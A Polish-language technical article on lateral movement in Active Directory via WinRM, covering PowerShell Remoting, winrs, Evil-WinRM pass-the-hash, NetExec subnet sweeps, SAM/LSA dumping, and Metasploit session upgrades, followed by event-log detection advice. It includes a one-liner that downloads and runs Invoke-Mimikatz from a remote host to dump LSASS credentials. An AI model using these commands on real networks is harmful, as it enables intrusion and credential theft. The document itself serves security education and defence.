Lateral movement w Active Directory z wykorzystaniem WinRM

Lateral movement (często tłumaczony jako ruch boczny) w środowiskach Active Directory bardzo rzadko opiera się na podatnościach w rozumieniu tych dostępnych w ramach bazy CVE. W praktyce znacznie częściej jest to konsekwencja nadużycia wbudowanych mechanizmów administracyjnych, które zostały zaprojektowane z myślą o automatyzacji i zdalnym zarządzaniu systemami z rodziny Windows.

Jednym z takich mechanizmów jest Windows Remote Management (WinRM) – usługa obecna w systemach Windows od lat, powszechnie wykorzystywana przez administratorów, narzędzia do zarządzania konfiguracją bez koniecznego fizycznego dostępu. Dla osób, które nie miały wcześniej styczności z administracją środowisk Microsoft, WinRM można najprościej porównać do protokołu SSH znanego z systemów Unix/Linux.

W niniejszym artykule skupimy się na technicznym aspekcie lateral movementu (ruchu bocznego) z użyciem WinRM w środowisku domenowym Active Directory. Pokażemy, dlaczego WinRM tak dobrze sprawdza się jako wektor przemieszczania się pomiędzy hostami, jakie są jego realne ograniczenia oraz co faktycznie dzieje się „pod maską”.

Czym jest WinRM i dlaczego jest powszechnie dostępny

Windows Remote Management (WinRM) jest implementacją protokołu WS-Management (WS-Man) w systemach Microsoft Windows. Stanowi on standardowy mechanizm zdalnego zarządzania, obecny na systemach od wielu lat.

W praktyce WinRM pełni rolę warstwy transportowej dla zdalnych operacji administracyjnych – nie jest narzędziem samym w sobie, lecz kanałem komunikacyjnym wykorzystywanym przez inne komponenty systemu. Najczęściej WinRM kojarzony jest z PowerShell Remoting, jednak PowerShell jest jedynie jednym z klientów korzystających z tego mechanizmu.

Ten sam kanał wykorzystywany jest m.in. przez narzędzia do zarządzania konfiguracją, rozwiązania klasy RMM (Remote Monitoring and Management) i EDR (Endpoint Detection and Response) oraz skrypty administracyjne wykonywane masowo w środowiskach domenowych.

Z punktu widzenia administratorów WinRM rozwiązuje realny problem: umożliwia zdalne wykonywanie poleceń i skryptów bez konieczności logowania interaktywnego, co jest kluczowe w środowiskach o dużej skali.

Domyślnie WinRM nasłuchuje na portach:

• 5985/TCP – HTTP,
• 5986/TCP – HTTPS.

Aby zobaczył czy usługa WinRM działa na obecnie zalogowanym hoście, możemy wykonać następującą komendę:

winrm get winrm/config

W środowiskach Active Directory bardzo często:

• usługa WinRM jest włączana globalnie za pomocą Group Policy,
• reguły zapory sieciowej dopuszczają ruch WinRM wewnątrz sieci,
• uwierzytelnianie realizowane jest przy użyciu Kerberos.

W praktyce oznacza to, że WinRM jest szeroko dostępny w sieci wewnętrznej, często na wszystkich serwerach oraz stacjach roboczych pełniących funkcje administracyjne.

Mając zainstalowane narzędzie RSAT (Remote Server Administration Tools), albo sam moduł powershellowy do zarządzania Active Directory możliwe jest wyszukanie wszystkich maszyn w domenie, w celu zweryfikowania, czy działa na nich usługa WinRM: 

$servers = Get-ADComputer -Filter * -SearchBase "OU=Servers,DC=lapistech,DC=corp" | Select-Object -ExpandProperty Name
$results = foreach ($srv in $servers) {
$test = Test-NetConnection -ComputerName $srv -Port 5985 -WarningAction SilentlyContinue
[PSCustomObject]@{
Computer        = $srv
WinRM_5985_Open = $test.TcpTestSucceeded}}
$results

Co istotne, dostęp do WinRM nie jest postrzegany jako logowanie użytkownika w klasycznym sensie. Nie powstaje sesja graficzna ani interaktywna, a wykonywane polecenia działają w kontekście bezpieczeństwa użytkownika w trybie non-interactive.

Z perspektywy bezpieczeństwa organizacji WinRM bywa traktowany jako mechanizm „bezpieczny z definicji”, ponieważ:

• opiera się na natywnych komponentach Windows,
• wykorzystuje uwierzytelnianie domenowe,
• nie wymaga dodatkowego oprogramowania po stronie serwera.

Właśnie ta powszechność i transparentność WinRM sprawiają, że w wielu środowiskach staje się on naturalnym kanałem dla lateral movement, wykorzystywanego przez atakującego, wewnątrz sieci, szczególnie w sytuacjach, gdy np. przejęty użytkownik posiada uprawnienia administracyjne na więcej niż jednym hoście.

Jak działa WinRM w domenie

W środowisku Active Directory mechanizm WinRM domyślnie korzysta z uwierzytelniania Kerberos. Oznacza to, że w większości przypadków nawiązanie sesji WinRM nie wymaga podawania hasła przy każdym połączeniu, a opiera się na wcześniej uzyskanych ticketach (biletach) Kerberos użytkownika.

W praktyce oznacza to, że WinRM umożliwia zdalne wykonanie poleceń bez generowania artefaktów typowych dla logowania interaktywnego, co ma istotne znaczenie zarówno operacyjne, jak i w przypadku analizy incydentu.

Poniżej wykonanie komendy połączenia do usługi WinRM oraz wykonanie komendy qwinsta, w celu pokazania sesji na serwerze file-srv01:

Enter-PSSession -ComputerName file-srv01
qwinsta

Kerberos – domyślny mechanizm uwierzytelniania

Jeżeli klient i serwer WinRM znajdują się w tej samej domenie (lub domenach zaufanych), a użytkownik posiada ważny Ticket Granting Ticket (TGT), uwierzytelnienie odbywa się w pełni automatycznie przy użyciu Kerberos.

Z punktu widzenia systemu:

• klient uzyskuje ticket TGS (Ticket Granting Service) dla usługi WinRM na hoście docelowym,
• serwer weryfikuje bilet bez potrzeby ponownego uwierzytelniania użytkownika,
• sesja WinRM zostaje zestawiona bez interakcji użytkownika.

Poniżej wykonanie komendy połączenia do usługi WinRM oraz wykonanie komendy klist, listującej wszystkie dostępne tickety.

Enter-PSSession -ComputerName file-srv01
klist

Istotne jest, że Kerberos w tym scenariuszu nie zapewnia dodatkowej „ochrony” przed lateral movement. Jeśli użytkownik posiada odpowiednie uprawnienia lokalne na hoście docelowym, WinRM staje się naturalnym kanałem zdalnego dostępu.

NTLM jako mechanizm zapasowy

W określonych warunkach WinRM może korzystać z NTLM jako mechanizmu uwierzytelniania. Dotyczy to m.in. sytuacji, gdy:

• Kerberos nie jest dostępny,
• komunikacja odbywa się poza kontekstem domenowym,
• konfiguracja WinRM dopuszcza NTLM.

Z perspektywy bezpieczeństwa NTLM w WinRM jest szczególnie istotny, ponieważ może umożliwiać scenariusze z wykorzystaniem ataku Pass-the-Hash (PtH), jeśli środowisko nie jest odpowiednio utwardzone. Warto jednak podkreślić, że nie jest to specyfika WinRM, lecz ogólna konsekwencja obecności NTLM w infrastrukturze.

Kontekst bezpieczeństwa sesji WinRM

Sesja WinRM działa zawsze w kontekście uwierzytelnionego użytkownika, jednak znacząco różni się od sesji RDP czy klasycznego logowania lokalnego. Kluczowe różnice obejmują:

• brak pełnego profilu użytkownika ładowanego w systemie,
• ograniczony kontekst środowiskowy,
• brak interakcji z pulpitem i sesją graficzną,
• brak tworzenia typowej sesji interaktywnej.

Poniżej wykonanie komendy whoami /all, w celu pokazania wszystkich przynależnych grup oraz uprawnień z poziomu uwierzytelnionego użytkownika poprzez usługę WinRM:

whoami /all

Najważniejsze jest jednak to, że WinRM nie omija modelu uprawnień Windows. Aby sesja WinRM mogła być realnie użyteczna z perspektywy administracyjnej, użytkownik musi posiadać odpowiednie uprawnienia na hoście docelowym – w praktyce najczęściej oznacza to członkostwo w lokalnej grupie Administrators.

Innymi słowy:

• WinRM sam w sobie nie daje żadnych dodatkowych praw,
• nie umożliwia „logowania bez uprawnień”,
• działa dokładnie w ramach tych samych zasad kontroli dostępu co lokalne operacje administracyjne.

Z perspektywy atakującego WinRM staje się interesujący w momencie, gdy umożliwia wykonanie komend z uprawnieniami wyższymi niż te, które pierwotnie uzyskano. W praktyce może to wynikać z kilku scenariuszy:

1. przejęte konto nie posiada uprawnień administracyjnych na aktualnym hoście, ale ma je na innym systemie w domenie (np. poprzez członkostwo w lokalnej grupie Administratorów na wybranych serwerach),
2. organizacja szeroko nadaje takie uprawnienia (często „dla wygody”),
3. ten sam model administracyjny (to samo konto lub ta sama grupa) wykorzystywany jest na wielu serwerach, co ułatwia ułatwia zarządzanie.

To właśnie ten model uprawnień – a nie sama technologia WinRM – stanowi fundament większości realnych scenariuszy przy przemieszczaniu się między hostami. WinRM jest jedynie mechanizmem zdalnego dostępu, interfejsem administracyjnym wbudowanym w system.

Atakujący nie „wykorzystują podatności w WinRM”, lecz korzystają z faktu, że istniejące uprawnienia administracyjne można w prosty sposób użyć zdalnie. Jeśli konto ma odpowiednie prawa, WinRM staje się wygodnym kanałem ich egzekwowania.

Dzięki temu WinRM pozwala wykonywać większość operacji administracyjnych w sposób mniej widoczny niż klasyczne metody zdalnego dostępu, takie jak RDP, jednocześnie pozostając w pełni zgodnym z natywnym modelem bezpieczeństwa Windows.

Praktyczne wykorzystanie WinRM

WinRM sam w sobie nie jest techniką ataku. Jest kanałem zdalnego wykonania poleceń, który w środowiskach Active Directory wykorzystywany jest na co dzień do administracji systemami Windows. Z perspektywy lateral movement jego siła wynika z prostego faktu: pozwala on wykorzystać już posiadany kontekst uwierzytelnienia – hasło, hash lub bilety Kerberos – do wykonywania działań na innych hostach w domenie.

Poniżej przedstawiono praktyczne sposoby użycia WinRM, które w realnych środowiskach stają się fundamentem przemieszczania się pomiędzy systemami.

Podstawowy test – czy WinRM w ogóle odpowiada

Pierwszym krokiem w większości scenariuszy jest sprawdzenie, czy usługa WinRM jest dostępna na docelowym hoście. Wystarczy do tego standardowe polecenie PowerShell:

Test-WsMan file-srv01

Jeżeli polecenie zwraca odpowiedź, oznacza to, że:

• WinRM jest uruchomiony,
• port 5985/TCP jest dostępny.

W praktyce często wykonuje się takie sprawdzenie masowo na wielu systemach, aby szybko ocenić skalę potencjalnego dostępu:

$servers = @("server1","server2","server3")
$servers | ForEach-Object {
    $res = Test-NetConnection -ComputerName $_ -Port 5985
    [PSCustomObject]@{ Server=$_; WinRM=$res.TcpTestSucceeded }
}

Taki prosty „administracyjny sweep” bardzo często pokazuje, że WinRM jest dostępny na większości serwerów w domenie.

Wykorzystanie istniejących poświadczeń

Najbardziej naturalny scenariusz to użycie poprawnych poświadczeń użytkownika, który posiada lokalne uprawnienia administracyjne na systemie docelowym.

W praktyce wygląda to tak:

• użytkownik jest zalogowany na swojej stacji,
• posiada ważny kontekst Kerberos,
• WinRM korzysta z tego kontekstu automatycznie,
• nie powstaje sesja interaktywna.

Dzięki temu możliwe jest natychmiastowe wykonanie zdalnych poleceń:

Invoke-Command -ComputerName file-srv01 -ScriptBlock {
    hostname
    whoami
}

To dokładnie ten model, który spotyka się w wielu organizacjach:

• jeden użytkownik administruje wieloma systemami,
• grupy typu „FTP-Admins” dodawane są do lokalnych Administratorów,
• WinRM traktowany jest jako wygodny standard.

Poza kontekstem zalogowanego użytkownika, znając login oraz hasło konta w domenie, możliwe jest wykorzystanie usługi WinRM:

$password = ConvertTo-SecureString "TutajHasłoUżytkownika" -AsPlainText -Force
$kredki = New-Object System.Management.Automation.PSCredential("katarzyna.mazur", $password)
Enter-PSSession -ComputerName file-srv01.lapistech.corp -Credential $kredki

W praktyce często spotykanym krokiem jest sprawdzenie, do których systemów dany użytkownik faktycznie ma dostęp. Można to zrobić przy użyciu prostego skryptu powershellowego, tak jak miało to miejsce z testem dostępności samej usługi:

$targets = @("file-srv01","app-srv01","sql-srv01")
foreach ($t in $targets) {
    Try {
        Enter-PSSession -ComputerName $t -ErrorAction Stop
        Write-Host "SUCCESS: access to $t"
        Exit-PSSession
    } Catch {
        Write-Host "FAILED: no access to $t"
    }
}

Takie podejście pozwala bardzo szybko ustalić realny zasięg posiadanych uprawnień.

Realne operacje wykonywane przez WinRM

Po zestawieniu sesji WinRM możliwe są praktycznie wszystkie operacje administracyjne, które można wykonać lokalnie z poziomu PowerShell.

W poniższym przykładzie, pokazane jest zdalne utworzenie pliku:

Invoke-Command -ComputerName file-srv01 -ScriptBlock {
    New-Item -Path C:\test.txt -ItemType File -Value "WinRM test"
    Get-Content C:\test.txt
}

Możliwe jest również zdalne wyświetlanie działających usług oraz  procesów:

Invoke-Command -ComputerName file-srv01 -ScriptBlock {
    Get-Service | Select Name, Status | Select -First 3
    Get-Process | Sort-Object CPU -Descending | Select -First 3
}

Tak samo możliwa jest interakcja z wszystkimi innymi konfiguracjami, które można wykonać lokalnie za pośrednictwem PowerShella:

Invoke-Command -ComputerName file-srv01 -ScriptBlock {
    Get-NetIPAddress
    Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion
}

Z punktu widzenia systemu są to działania nierozróżnialne od operacji prawdziwego administratora. Nie ma technicznego sposobu, aby na podstawie pojedynczej komendy stwierdzić, czy wykonuje ją faktyczny administrator, czy atakujący  wykorzystujący uzyskany wcześniej dostęp.

winrs – natywny klient WinRM

W kontekście wykorzystania WinRM warto wspomnieć o narzędziu, które często pozostaje w cieniu względem wcześniej pokazanych metod, czyli winrs (Windows Remote Shell).

winrs jest wbudowanym klientem systemu Windows, który:

• korzysta bezpośrednio z WinRM,
• umożliwia zdalne wykonywanie poleceń z poziomu klasycznej linii poleceń,
• nie wymaga PowerShell,
• jest dostępny domyślnie na każdej stacji roboczej Windows.

W praktyce winrs pełni dokładnie tę samą rolę co Invoke-Command, ale w bardziej „systemowym”, konsolowym wydaniu.

Podstawowe użycie winrs

Najprostszy przykład:

winrs -r:file-srv01 hostname

Efekt: zdalne wykonanie pojedynczej komendy na hoście docelowym.

Możliwe jest również uruchomienie bardziej złożonych operacji:

winrs -r:file-srv01 "whoami & ipconfig"

Przykład wykonania obu powyższych komend:

W praktyce winrs bywa wykorzystywany z kilku powodów:

• działa nawet tam, gdzie PowerShell jest ograniczony,
• jest prostszy do użycia w skryptach batch,
• nie wymaga żadnych dodatkowych narzędzi.

Dla zespołów administracyjnych jest to wygodny sposób wykonywania pojedynczych poleceń, a z perspektywy atakującego – kolejny natywny interfejs do WinRM, który można wykorzystać do ruchu bocznego.

winrs – przykłady

Przykład operacji na plikach – odczytanie zawartości pliku hosts:

winrs -r:file-srv01 "type C:\Windows\System32\drivers\etc\hosts"

Zarządzanie usługami:

winrs -r:file-srv01 "sc query w32time"

Wykonanie skryptu:

winrs -r:file-srv01 "powershell -Command Get-Service"

Wszystkie te działania są funkcjonalnie równoważne z PowerShell Remoting – różni się jedynie interfejs, nie technologia pod spodem.

winrs a model uprawnień

Warto wyraźnie podkreślić, że winrs nie jest osobnym mechanizmem zdalnego dostępu. To jedynie alternatywny interfejs do tej samej infrastruktury WinRM. Z technicznego punktu widzenia:

• korzysta dokładnie z tych samych listenerów WinRM,
• używa tych samych metod uwierzytelniania (Kerberos/NTLM),
• generuje te same artefakty po stronie systemu docelowego,
• podlega identycznym zasadom autoryzacji.

W praktyce oznacza to, że WinRS:

• wymaga poprawnego uwierzytelnienia użytkownika,
• respektuje lokalne uprawnienia na hoście docelowym,
• w zdecydowanej większości przypadków wymaga członkostwa w lokalnej grupie Administrators, aby wykonywać realne operacje administracyjne.

Dla zespołów bezpieczeństwa istotne jest zrozumienie, że:

• aktywność realizowana przez winrs będzie wyglądać w logach praktycznie tak samo jak PowerShell Remoting,
• z punktu widzenia systemu nie ma znaczącej różnicy między:
  • Invoke-Command,
  • Enter-PSSession,
  • a winrs.

Dlatego w kontekście lateral movement winrs należy traktować jako kolejny, w pełni natywny sposób korzystania z WinRM, często nawet prostszy do użycia niż PowerShell.

Ofensywne wykorzystanie WinRM z poziomu systemu Linux

W poprzednich sekcjach WinRM został omówiony z perspektywy natywnych mechanizmów Windows – takich jak PSRemoting czy winrs. To właśnie z nich najczęściej korzystają administratorzy, ale równie dobrze mogą być wykorzystywane przez atakującego, jeśli operuje on z systemu Windows.

W praktyce jednak scenariusz bywa inny. Dostęp do WinRM często realizowany jest z systemu Linux – zarówno w trakcie testów bezpieczeństwa, jak i w realnych atakach, gdy atakujący działa z przejętego hosta linuksowego lub własnej infrastruktury.

W takim przypadku natywne narzędzia Windows nie są dostępne. Potrzebny jest zewnętrzny klient obsługujący WinRM.

Evil-WinRM

Najbardziej rozpoznawalnym narzędziem w tym kontekście jest Evil-WinRM – klient zaprojektowany z myślą o wygodnej, interaktywnej pracy ze zdalnymi systemami Windows z poziomu Linuxa.

Z perspektywy samego protokołu nie dzieje się tu nic „specjalnego”. Sesja zestawiona przy użyciu Evil-WinRM nie różni się technicznie od tej utworzonej przez Invoke-Command czy winrs. Różnice dotyczą ergonomii pracy, a nie mechanizmu komunikacji.

Evil-WinRM wykorzystuje te same metody uwierzytelniania co natywne narzędzia Windows:

• Kerberos w środowiskach domenowych,
• NTLM tam, gdzie jest on dopuszczony.

Z perspektywy systemu docelowego:

• nadal jest to sesja WinRM,
• polecenia wykonywane są w kontekście zabezpieczeń uwierzytelnionego użytkownika,
• nie powstaje klasyczna sesja interaktywna ani graficzna,
• nie ładowany jest typowy profil użytkownika.

Innymi słowy, zmienia się narzędzie po stronie klienta, ale nie zmienia się mechanizm po stronie serwera.

Przykładowa komenda evil-winrm, wykorzystująca poświadczenia z jawnym hasłem:

evil-winrm -i adres_ip/nazwa_hosta -u 'domena\user' -p 'haslo'

Załóżmy realistyczny scenariusz, w którym osoba przemieszczająca się po środowisku posiada już skrót NTLM użytkownika z odpowiednimi uprawnieniami. WinRM – w konfiguracjach dopuszczających uwierzytelnianie NTLM – pozwala na użycie takiego hasha do zestawienia sesji w dokładnie taki sam sposób jak klasycznego hasła.

W tym przypadku wystarczy podać argument -H zamiast -p, wraz z poprawnym hashem NTLM dla danego użytkownika:

evil-winrm -i adres_ip/nazwa_hosta -u 'domena\user' -H 'hash_ntlm'

Mając na uwadze, że dostęp przez WinRM jest w praktyce ograniczony do kont posiadających uprawnienia administracyjne, uzyskanie takiej sesji oznacza pełną kontrolę nad systemem.

W środowisku o niskim poziomie zabezpieczeń atakujący może wykorzystać taki dostęp do szybkiego obniżenia poziomu ochrony hosta, a następnie pozyskania materiału uwierzytelniającego z pamięci procesu LSASS.

Warto jednak podkreślić, że w dojrzałych środowiskach Active Directory na serwerach i stacjach roboczych zazwyczaj funkcjonują rozwiązania klasy EDR (Endpoint Detection and Response), które monitorują próby manipulacji mechanizmami ochrony systemu oraz dostęp do wrażliwych procesów. W takich przypadkach podobne działania zostałyby najprawdopodobniej zablokowane i wygenerowałyby alert bezpieczeństwa.

W środowisku pozbawionym dodatkowej warstwy ochronnej możliwe jest następnie pozyskanie poświadczeń z wcześniej wspomnianego procesu LSASS, np. za pomocą powershellowej wersji Mimikatz:

IEX(New-Object Net.WebClient).DownloadString('http://adres/Invoke-Mimikatz.ps1')

Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'

NetExec (nxc)

Innym interesującym narzędziem dostępnym w środowisku Linux, domyślnie zainstalowanym m.in. w dystrybucji Kali Linux jest nxc (NetExec). W przeciwieństwie do Evil-WinRM nie jest to wyłącznie klient WinRM. Narzędzie obsługuje wiele protokołów wykorzystywanych w środowiskach Windows, takich jak SMB, WMI, MSSQL czy FTP, co czyni je uniwersalnym komponentem w scenariuszach post-exploitation.

W kontekście WinRM nxc oferuje nieco inny model pracy niż klasyczna, interaktywna sesja. Jego główną zaletą jest możliwość wykonywania pojedynczych poleceń bez potrzeby wchodzenia w tryb powłoki. Pozwala to na szybkie sprawdzenie dostępu lub zebranie wybranych informacji z hosta w sposób zautomatyzowany.

Poniższy przykład przedstawia wykonanie komendy ipconfig bez zestawiania interaktywnej sesji:

nxc winrm  192.168.6.107 --user 'domena\user' --password 'haslo' -x ipconfig

Na powyższym zrzucie ekranu widoczna jest charakterystyczna informacja (Pwn3d!). W kontekście nxc oznacza ona, że konto użyte do uwierzytelnienia posiada lokalne uprawnienia administracyjne na danym hoście. Co istotne, informacja ta pojawia się nawet bez wykonywania dodatkowych poleceń, samo zestawienie połączenia pozwala określić poziom dostępu.

Narzędzie umożliwia również masową weryfikację hostów poprzez podanie zakresu adresów IP lub maski sieciowej, co pozwala w krótkim czasie określić, na których systemach dane konto posiada uprawnienia administracyjne. W praktyce znacząco przyspiesza to etap identyfikacji potencjalnych punktów dalszego przemieszczania się w sieci.

Poniżej przykładowa komenda:

nxc winrm  192.168.6.1/24 --user 'domena\user' --password 'haslo' -x ipconfig

Innym aspektem wartym uwagi jest możliwość pozyskania lokalnych poświadczeń z systemu, o ile konto posiada odpowiednie uprawnienia, a na hoście nie funkcjonują mechanizmy ochronne blokujące tego typu operacje.

Przykładowo możliwe jest odczytanie lokalnej bazy SAM (Security Account Manager) – zawierającej skróty haseł kont lokalnych, oraz sekretów przechowywanych w LSA (Local Security Authority) – obejmujących m.in. zapisane poświadczenia usług czy hasła kont używanych przez system.

Poniżej przedstawiono przykład pozyskania danych z lokalnej bazy SAM oraz sekretów LSA za pomocą nxc:

nxc winrm  192.168.6.107 --user 'domena\konto' --password 'haslo' --sam 

nxc winrm  192.168.6.107 --user 'domena\konto' --password 'haslo' --lsa 

Metasploit

Metasploit oferuje kilka modułów związanych z WinRM. Część z nich pełni rolę skanerów uwierzytelnienia (np. auxiliary/scanner/winrm/winrm_login), umożliwiając weryfikację poprawności poświadczeń na jednym lub wielu hostach. Inne pozwalają na zdalne wykonanie polecenia, analogicznie do podejścia prezentowanego wcześniej przy użyciu nxc.

W praktyce workflow jest zbliżony do pozostałych narzędzi: po wyborze odpowiedniego modułu w konsoli msfconsole należy określić parametry połączenia, takie jak adres hosta, domena, nazwa użytkownika oraz hasło (lub inny materiał uwierzytelniający).

Warto jednak zauważyć, że w przeciwieństwie do lekkich klientów takich jak Evil-WinRM, Metasploit często wykorzystywany jest jako element większego łańcucha operacyjnego, umożliwia nie tylko zestawienie sesji przez WinRM, lecz również integrację z payloadami, mechanizmami C2 czy dalszą automatyzacją działań post-exploitation. 

Poniżej wymagane parametry dla modułu auxiliary/scanner/winrm/winrm_login oraz same jego wykorzystanie:

set RHOSTS adres
set USERNAME użytkownik
set PASSWORD haslo
set DOMAIN domena
run 

Jak widać na powyższy, zrzucie ekranu, zestawiana jest sesja, z którą atakujący może wejść w interakcje. Odbywa się to w taki sposóļ, jak w przypadku np. uruchomienia reverse shell:

sessions -i nr_sesji

Z poziomu takiej sesji możliwości wykorzystania pozostałych modułów Metasploita są ograniczone. Nie jest to pełnoprawna sesja Metasploita, a jedynie zdalna powłoka ustanowiona przez WinRM.

Możliwe jest jednak jej przekształcenie w pełną sesję Meterpreter przy użyciu modułu post/multi/manage/shell_to_meterpreter. Wystarczy wskazać identyfikator aktywnej sesji, a Metasploit automatycznie przeprowadzi proces jej uaktualnienia.

Poniżej aktualizacja do pełen sesji:

use post/multi/manage/shell_to_meterpreter
set SESSION 2
run

Z poziomu takiej sesji możliwe jest już prowadzenie dalszych działań post-exploitation. Framework udostępnia szereg modułów rozszerzających zakres operacji, w tym m.in. możliwość pozyskania lokalnych poświadczeń z systemu przy użyciu modułu post/windows/gather/smart_hashdump, analogicznie do scenariusza przedstawionego wcześniej z wykorzystaniem nxc:

use post/windows/gather/smart_hashdump
set GETSYSTEM true
set SESSION 3
run

WinRM z perspektywy defensywnej

Z punktu widzenia defensywnego WinRM stanowi szczególne wyzwanie. Nie dlatego, że nie generuje logów, lecz dlatego, że korzysta z tych samych mechanizmów, które są używane do codziennej administracji systemami Windows.

Skuteczna wykrywanie wykorzystania WinRM w ruchu typu lateral movement wymaga zrozumienia gdzie powstają artefakty, jakie informacje faktycznie niosą oraz czego w nich brakuje.

Artefakty a WinRM

Sesje WinRM pozostawiają ślady w kilku niezależnych miejscach, rozproszonych pomiędzy różnymi komponentami systemu. Kluczowe źródła obejmują:

• Microsoft-Windows-WinRM/Operational – zdarzenia związane z zestawianiem i obsługą sesji WinRM,
• Microsoft-Windows-PowerShell/Operational – logi dotyczące wykonywania poleceń PowerShell,
• klasyczne logi zabezpieczeń (w ograniczonym zakresie).

Istotne jest, że artefakty te nie znajdują się w jednym miejscu i bardzo rzadko dają pełen obraz zdarzenia bez korelacji.

Gdzie faktycznie znajdują się logi WinRM

Jednym z częstszych problemów przy analizie WinRM jest to, że administratorzy i analitycy bezpieczeństwa nie zawsze wiedzą, gdzie dokładnie szukać informacji o takich sesjach. WinRM nie korzysta z klasycznych logów aplikacyjnych – posiada własny, dedykowany kanał zdarzeń.

Podstawowym miejscem, w którym rejestrowane są informacje o zestawianiu połączeń WinRM, jest: Microsoft-Windows-WinRM/Operational.

Logi te, możemy znaleźć w Event Viewer -> Applications and Service Logs -> Microsoft -> Windows -> WinRM -> Operational.

To właśnie tutaj, na hoście docelowym, pojawiają się zdarzenia informujące o tym, że ktoś zestawił lub zakończył sesję WinRM.

W praktyce najczęściej spotykane są zdarzenia:

• Event ID 91 – inicjacja połączenia WinRM
  Rejestrowane w momencie, gdy usługa WinRM przyjmuje nowe połączenie od klienta.
• Event ID 142 – uwierzytelnienie i zestawienie sesji
  Wskazuje, że użytkownik został pomyślnie uwierzytelniony i sesja została utworzona.
• Event ID 169 – zakończenie sesji
  Informuje o prawidłowym zamknięciu połączenia WinRM.

W zależności od wersji systemu Windows numery zdarzeń mogą się nieznacznie różnić, jednak ogólna logika pozostaje taka sama – kanał Operational pozwala stwierdzić kiedy i przez kogo sesja WinRM została uruchomiona.

Analizując zdarzenia w kanale WinRM/Operational można zazwyczaj ustalić:

• nazwę użytkownika, który zestawił sesję,
• fakt uwierzytelnienia,
• czas rozpoczęcia i zakończenia połączenia,
• informację o tym, że komunikacja odbywała się przez WinRM.

Jednocześnie należy pamiętać o ważnym ograniczeniu:

Logi WinRM nie zawierają informacji o tym, jakie polecenia zostały wykonane w ramach sesji.

Oprócz interfejsu graficznego Event Viewera, zdarzenia można łatwo przeglądać bezpośrednio z poziomu PowerShell:

Get-WinEvent -LogName "Microsoft-Windows-WinRM/Operational" | 
Select-Object TimeCreated, Id, Message -First 10

Aby wyświetlić tylko zdarzenia dotyczące sesji:

Get-WinEvent -LogName "Microsoft-Windows-WinRM/Operational" |
Where-Object { $_.Message -like "*session*" } |
Select-Object TimeCreated, Id, Message

Kluczowe ograniczenie – lokalizacja logów

Istotnym aspektem analizy WinRM jest to, że logi specyficzne dla tego mechanizmu (kanał Microsoft-Windows-WinRM/Operational) pojawiają się wyłącznie na hoście docelowym. Na maszynie inicjującej połączenie zazwyczaj nie powstają artefakty jednoznacznie wskazujące na użycie WinRM.

W przypadku uwierzytelnienia Kerberos kontroler domeny rejestruje zdarzenie wydania ticketu serwisowego (Event ID 4769), jednak nie zawiera ono informacji, że ticket został wykorzystany akurat do sesji WinRM, dotyczy jedynie żądania TGS dla danego SPN. Samo użycie biletu odbywa się już bez udziału kontrolera domeny i jest widoczne dopiero w logach serwera docelowego (np. Event ID 4624 – logowanie typu 3).

Oznacza to, że w typowym scenariuszu lateral movement:

• analityk widzi ślady jedynie na serwerze, do którego ktoś się łączył,
• nie ma bezpośredniej informacji o źródłowym hoście,
• pełny obraz wymaga korelacji z innymi źródłami logów (np. logami uwierzytelnienia).

Z tego powodu analiza wyłącznie kanału WinRM/Operational rzadko daje kompletny kontekst operacyjny i powinna być uzupełniana o klasyczne zdarzenia bezpieczeństwa oraz logi PowerShell.

PowerShell Module Logging oraz Script Block Logging

Analiza aktywności wykonywanej przez WinRM bardzo często sprowadza się do monitorowania tego, co faktycznie zostało uruchomione w sesji PowerShell. W tym kontekście kluczowe znaczenie mają dwa mechanizmy dostępne w systemie Windows:

• PowerShell Module Logging,
• PowerShell Script Block Logging.

Choć bywają one traktowane zamiennie, pełnią nieco inną rolę i uzupełniają się nawzajem.

PowerShell Module Logging (Event ID 4103)

Module Logging rejestruje informacje o poleceniach wykonywanych w ramach poszczególnych modułów PowerShell. Po jego włączeniu w logach pojawiają się zdarzenia:

• Event ID 4103 – Executing Pipeline

Zdarzenia te pozwalają zobaczyć m.in.:

• jakie komendy zostały uruchomione,
• z jakimi parametrami,
• w jakim kontekście użytkownika.

W praktyce Module Logging bardzo dobrze sprawdza się do wykrywania prostych operacji administracyjnych wykonywanych przez WinRM, takich jak uruchamianie pojedynczych poleceń (Get-Process, Get-Service, Invoke-Command itd.).

Jego główną zaletą jest to, że:

• rejestruje nawet proste, interaktywne polecenia,
• działa niezależnie od sposobu uruchomienia PowerShell,
• generuje stosunkowo czytelne i zrozumiałe logi.

Script Block Logging (Event ID 4104)

Drugi, bardziej szczegółowy mechanizm to Script Block Logging. Po jego włączeniu PowerShell rejestruje treść całych bloków skryptowych, generując zdarzenia:

• Event ID 4104 – Script Block Logging

Script Block Logging jest szczególnie przydatny w sytuacjach, gdy:

• wykonywane są bardziej złożone komendy,
• uruchamiane są fragmenty kodu PowerShell,
• polecenia są przesyłane przez Invoke-Command lub w ramach automatyzacji.

Dzięki temu w logach można zobaczyć pełną treść skryptu wykonywanego przez WinRM, a nie jedynie nazwę pojedynczej komendy.

Różnice i praktyczne zastosowanie

W kontekście monitorowania WinRM warto rozumieć różnicę pomiędzy tymi mechanizmami:

Mechanizm	Typ zdarzeń	Co rejestruje
Module Logging	4103	Wykonywane polecenia i parametry
Script Block Logging	4104	Pełną treść bloków skryptowych

Oba mechanizmy są więc komplementarne i razem dają najlepszą możliwą widoczność działań wykonywanych przez WinRM.

Problem korelacji i kontekstu

Nawet przy włączonym logowaniu PowerShell pozostaje fundamentalne wyzwanie: brak pełnego kontekstu pojedynczego zdarzenia.

W typowym scenariuszu WinRM:

• sesja jest inicjowana z jednego systemu,
• polecenia wykonywane są na innym,
• logi PowerShell znajdują się wyłącznie na hoście docelowym,
• informacje o uwierzytelnieniu pojawiają się dodatkowo na kontrolerze domeny.

Bez wiedzy o:

• roli danego systemu,
• typowych relacjach użytkownik–host,
• standardowych ścieżkach administracyjnych,

Co faktycznie ma sens w defensywie

Z perspektywy operacyjnej skuteczna obrona przed nadużyciem WinRM nie polega na jego „wykrywaniu w próżni”, lecz na budowaniu kontekstu i dobrych praktyk operacyjnych:

• baseliningu:
  • kto normalnie łączy się z jakimi systemami,
  • z jakich hostów realizowana jest administracja,
• ograniczaniu uprawnień lokalnych:
  • szczególnie dla kont serwisowych i administracyjnych,
• analizie relacji zamiast pojedynczych zdarzeń:
  • nowe połączenie użytkownika z nietypowego hosta,
  • aktywność administracyjna poza standardowymi godzinami,
  • użycie WinRM na systemach, gdzie dotąd nie było stosowane.

